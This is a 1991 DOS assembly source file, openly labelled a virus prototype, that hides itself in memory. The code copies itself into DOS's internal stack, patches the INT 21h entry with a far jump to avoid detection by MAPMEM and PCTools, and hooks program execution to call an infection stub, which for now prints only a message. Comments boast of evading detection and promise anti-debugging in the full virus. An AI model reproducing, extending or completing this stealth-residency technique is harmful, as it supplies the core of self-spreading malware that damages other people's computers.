;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±									      ±
;±			V I R U S   P R O T O T Y P E			      ±
;±									      ±
;±   Author	: Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ±
;±   Date	: 25 Jan 1991	 21:05					      ±
;±   Function	: Found DOS stack in put himself in it. Then trace DOS	      ±
;±		  function EXEC and type 'Infect File'                        ±
;±									      ±
;±									      ±
;±	 If you want to have fun with this program just run file STACK.COM    ±
;±  Don't worry, this is not a virus yet, just try to find him in memory      ±
;±  with PCTools and/or MAPMEM. If you can -> just erase the source - it is   ±
;±  useless for you. If you can't -> you don't have to look at it - it is too ±
;±  difficult to you to understand it.					      ±
;±					     Best regards, Waleri Todorov     ±
;±									      ±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±




		mov	ah,52h		; Get DOS segmenty
		int	21h

		cmp	ax,1234h	; Also check for already here
		jne	Install 	; If not -> install in memory
ReturnControl

		int	20h		; This program will give control
					; to main file
Install
		mov	ax,es		; mov DOS segment in AX
		mov	DosSeg,ax	; Save DOS segment for further usage
		mov	ds,ax		; DS now point in DOS segment

		call	SearchDos	; Search DOS entry point
		call	SearchStack	; Search DOS stack

		push	cs		; DS=ES=CS
		push	cs
		pop	ds
		pop	es

		mov	ax,DosSeg	; get DOS segment in AX
		mov	cl,4		; AX*=16
		shl	ax,cl
		mov	bx,StackOff	; Stack new begin in BX
		and	bx,0FFF0h	; Mask low 4 bit
		add	ax,bx		; Compute new real address
		mov	cl,4		; AX/=16
		shr	ax,cl		; Now we get SEGMENT:0000
		sub	ax,10h		; Segment-=10-> SEG:100h
		mov	StackOff,ax	; Save new segment for further usage
		mov	es,ax		; ES point in DOS New area
		mov	si,100h 	; ES:DI -> DOS:free_space_in_stack
		mov	di,si		; DS:SI Current segment
		mov	cx,512d 	; Virus is only 512 bytes long
		rep	movsb		; Move virus to new place

; Installing virus in DOS' stack we will avoid a conflict with PCTools,
; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't
; affected, so if you have program, that count DOS' buffers to found
; Beast666, she won't found anything.
; In further release of full virus I will include anti-debugger system,
; so you will not be able to trace virus

		mov	di,DosOff	; ES:DI point to DOS int21 entry point
		mov	ax,DosSeg
		mov	es,ax
		mov	al,0EAh 	; JMP	XXXX:YYYY
		stosb
		mov	ax,offset Entry21
		stosw			; New 21 handler's offset
		mov	ax,StackOff
		stosw			; New 21 handler's segment


; Now DOS will make far jump to virus. In case that virus won't
; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching,
; and DOSEDIT will operate correctly (with several virus he don't).

		inc	di
		inc	di
		mov	Int21off,di	; Virus will call DOS after jump
		jmp	ReturnControl	; Return control to file

; At this moment, return control is just terminate program via int 20h.
; In further release of full virus this subroutine will be able to
; return control to any file (COM or EXE).



; These are two scanners subroutine. All they do are scanning DOS segment
; for several well-known bytes. Then they update some iternal variables.
; Be patience, when debug this area!

SearchDos
		mov	ax,cs:[DosSeg]
		mov	ds,ax
		xor	si,si

Search1
		lodsw
		cmp	ax,3A2Eh
		je	NextDos1
		dec	si
		jmp	short Search1
NextDos1
		lodsb
		cmp	al,26h
		je	LastDos
		sub	si,2
		jmp	short Search1
LastDos
		inc	si
		inc	si
		lodsb
		cmp	al,77h
		je	FoundDos
		sub	si,5
		jmp	short Search1
FoundDos
		inc	si
		mov	cs:[Int21off],si
		sub	si,7
		mov	cs:[DosOff],si
		ret

SearchStack
		xor	si,si
Search2
		lodsw
		cmp	ax,0CB8Ch
		je	NextStack1
		dec	si
		jmp	short Search2
NextStack1
		lodsw
		cmp	ax,0D38Eh
		je	NextStack2
		sub	si,3
		jmp	short Search2
NextStack2
		lodsb
		cmp	al,0BCh
		je	FoundStack
		sub	si,4
		jmp	short Search2
FoundStack
		mov	di,si
		lodsw
		sub	ax,200h
		stosw
		mov	cs:[StackOff],ax
		ret

Entry21 				; Here is new int 21 handler
		cmp	ah,52h		; If GET_LIST_OF_LISTS
		jne	NextCheck

		mov	ax,1234h	; then probably I am here
		mov	bx,cs:[DosSeg]	; so return special bytes in AX
		mov	es,bx
		mov	bx,26h
		iret			; Terminate AH=52h->return to caller
NextCheck
		cmp	ax,4B00h	; If EXEC file
		jne	GoDos
		call	Infect		; then file will be infected
GoDos
		jmp	dword ptr cs:[Int21off]
					; Otherwise jump to DOS
Infect
		push	ds		; At this moment just write on screen
		push	dx
		push	ax

		push	cs
		pop	ds
		mov	dx,offset Txt
		mov	ah,9
CallDos
		pushf			; Call real DOS
		call	dword ptr cs:[Int21off]

		pop	ax
		pop	dx
		pop	ds
		ret

Int21off	dw	0	; Offset of DOS 21 AFTER jump to virus
DosSeg		dw	0	; DOS segment
StackOff	dw	0	; Offset of stack/New segment
DosOff		dw	0	; Offset of DOS 21 BEFIRE jump
Txt		db	'Infect File$'  ; Dummy text

